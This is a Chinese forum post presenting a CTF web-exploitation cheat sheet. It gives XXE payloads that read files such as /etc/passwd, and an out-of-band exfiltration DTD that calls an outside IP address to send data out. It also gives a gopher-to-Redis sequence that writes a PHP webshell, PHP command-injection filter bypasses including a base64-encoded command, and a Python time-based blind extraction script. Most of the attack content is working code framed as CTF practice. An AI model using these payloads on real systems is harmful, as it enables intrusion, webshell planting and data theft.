安全矩阵

 找回密码
 立即注册
搜索
查看: 2484|回复: 0

CTF-WEB系列篇(一)

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2021-12-29 11:41:55 | 显示全部楼层 |阅读模式
本帖最后由 Grav1ty 于 2021-12-29 11:48 编辑

一、
XXE
XXE ( PHP 5.45之后不解析实体 )

  1. <!DOCTYPE 根标签名 SYSTEM "文件名">
复制代码

DTD实体是用于定义引用文本或字符的快捷方式的变量,可内部声明或外部引用。
约束通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

  1. <!ELEMENT 标签名 ANY>
复制代码

同时xxe可进行内网探测读取 /etc/hosts
Payload
PHP文件读取

    1. <?xml version="1.0" encoding="utf-8"?>
    2. <!DOCTYPE xxe [
    3. <!ELEMENT name ANY>
    4. <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>
    5. <creds>
    6. <user>&xxe;</user>
    7. </creds>
    复制代码


file协议读取文件

  1. <?xml version="1.0"?>
  2. <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  3. <catalog>
  4.         <core id="test101">
  5.              <description>&xxe;</description>
  6.           </core>
  7. </catalog>
复制代码


SVG格式

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE note [
  3. <!ENTITY file SYSTEM "要读取的文件路径" >
  4. ]>
  5. <svg height="100" width="1000">
  6.           <text x="10" y="20">&file;</text>
  7. </svg>
复制代码


数据外带

  1. <!DOCTYPE root [
  2. <!ENTITY % remote SYSTEM "http://174.1.66.167/shell.dtd">
  3. %remote;
  4. ]>
复制代码


shell.dtd

  1. <!ENTITY % file SYSTEM "file:///flag">
  2. <!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:5555/?flag=%file;'>">
  3. %int;
  4. %send;
复制代码


xxe绕过的payload
当只过滤了SYSTEM,PUBLIC等关键字时,可用双重实体编码绕过

  1. <?xml version="1.0"?>

  2. <!DOCTYPE GVI [

  3.     <!ENTITY % xml "<!ENTITY xxe SYSTEM "file:///flag.txt" >]><core>      <message>&xxe;</message></core>">

  4.     %xml;
复制代码


即为在xml实体中再定义一次xml,可成功被解析,支持dtd数据外带

  1. <!ENTITY xxe SYSTEM "file:///flag.txt" >]>
  2. <core>
  3.       <message>&xxe;</message>
  4. </core>
复制代码


以上为编码部分内容
二、
SSRF gopher协议
在 http 出现之前,访问网页需要输入的是
gopher://gopher.baidu.com 而不是 https://www.baidu.com
而它被代替的原因一方面是收费,另一方面的原因是它固化的结构没有HTML网页灵活
利用 gopher 的方式有 FTP 爆破,REDIS,MYSQL,FAST CGI,XXE.
一些常用服务

  1. Redis 6379
  2. FPM 9000
  3. Smtp 25
  4. Mysql 3306
复制代码

常用的协议

  1. dict 、gopher
复制代码


以下为经典的 Redis 未授权访问,以及常用 payload 的生成
利用方式
比如常见的,web 有一个 curl 的功能,然后可以访问内网靶机,就可以用类似的方式进行命令传递
( payload 每经过一次传递就会被解码一次 )
redis
Smtp 生成 payload
Fpm 生成 payload
gopher支持多行。因此要在传输的数据前加一个无用字符。比如 gopher://ip:port/_ 通常用 _ 并不是只能用 _ ,gopher协议会吃掉第一个字符
关于 redis
redis 的格式:每一个 *number 代表每一行命令,number 代表每行命令中数组中的元素个数。$number 代表每个元素的长度。
URL解码后可以看到创建 shell 的完整流程

  1. $8                            //元素长度为8
  2. flushall
  3. *3                            //3个元素
  4. $3
  5. set
  6. $1
  7. 1
  8. $31

  9. <?php echo "hello world" ?>

  10. *4
  11. $6
  12. config
  13. $3
  14. set
  15. $3
  16. dir
  17. $13
  18. /var/www/html
  19. *4
  20. $6
  21. config
  22. $3
  23. set
  24. $10
  25. dbfilename
  26. $9
  27. shell.php
  28. *1
  29. $4
  30. save
复制代码


即为redis将输入的语句保存在指定位置的php文件中,生成后门
相关环境 BUUCTF[GKCTF_EZWEB]
三、
命令执行
以下介绍为 PHP 环境
用于命令执行的函数有

  1. system
  2. exec
  3. passthru
  4. shell_exec
复制代码


一些常见的绕过方法一、命令拼接
windows

  1. |直接执行后面的语句ping 127.0.0.1|whoami
  2. Ⅱ前面出错执行后面的,前面为假ping 2 ]l whoami
  3. &前面的语句为假则直接执行后面的,前面可真可假ping 127.0.0.1&whoami
  4. &&前面的语句为假则直接出错,后面的也不执行,前面只能为真ping 127.0.0.18&whoami
复制代码


Linux

  1. ;前面的执行完执行后面的ping 127.0.0.1;whoami
  2. |管道符,显示后面的执行结果ping 127.0.0.1/whoami
  3. 当前面的执行出错时执行后面的ping 1][whoami
  4. &前面的语句为假则直接执行后面的,前面可真可假ping 127.0.0.1&whoami
  5. &&前面的语句为假则直接出错,后面的也不执行,前面只能为真ping 127.0.0.18&whoami
复制代码


以及

    1. %0a
    2. %0d
    3. \n
    复制代码


二、空格绕过

  1. $IFS
  2. ${IFS}
  3. $IFS$1
  4. %09
  5. {cat,flag.php}
复制代码


三、关键字 flag 被过滤

  1. fla\g
  2. a=g;fla$a
复制代码


例如:

  1. ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
复制代码


或者使用 base64 编码绕过

    1. ?url=127.0.0.1|`echo%09WTJGMElDOWxkR012TG1acGJtUm1iR0ZuTDJac1lXY3VkSGgw|base64%09-d|base64%09-d`
    复制代码


另外如反引号可在语句中执行命令

  1. ls `cat /flag > /var/www/html/1.txt`
复制代码


或者使用 $() 和八进制

    1. $(printf$IFS$9"\154\163")
    复制代码


另附一份无回显盲注脚本

  1. import requests
  2. import time

  3. s=requests.session()
  4. flag=''
  5. for z in range(1,50):
  6.     for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!@#%|^&{}[]/-()+=,\\':
  7.         starTime=time.time()
  8.         url="http://127.0.0.1/?cmd=if [ `cut -c"+str(z)+"-"+str(z)+" /flag` != '"+i+"' ]; then echo 1 ; else sleep 3; fi"
  9.         r=s.get(url)
  10.         if((time.time()-starTime)>3):
  11.             flag+=i
  12.             print(flag)
  13.             break
  14.             print(z)
  15. print('the flag is'+flag)
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 11:43 , Processed in 0.021242 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表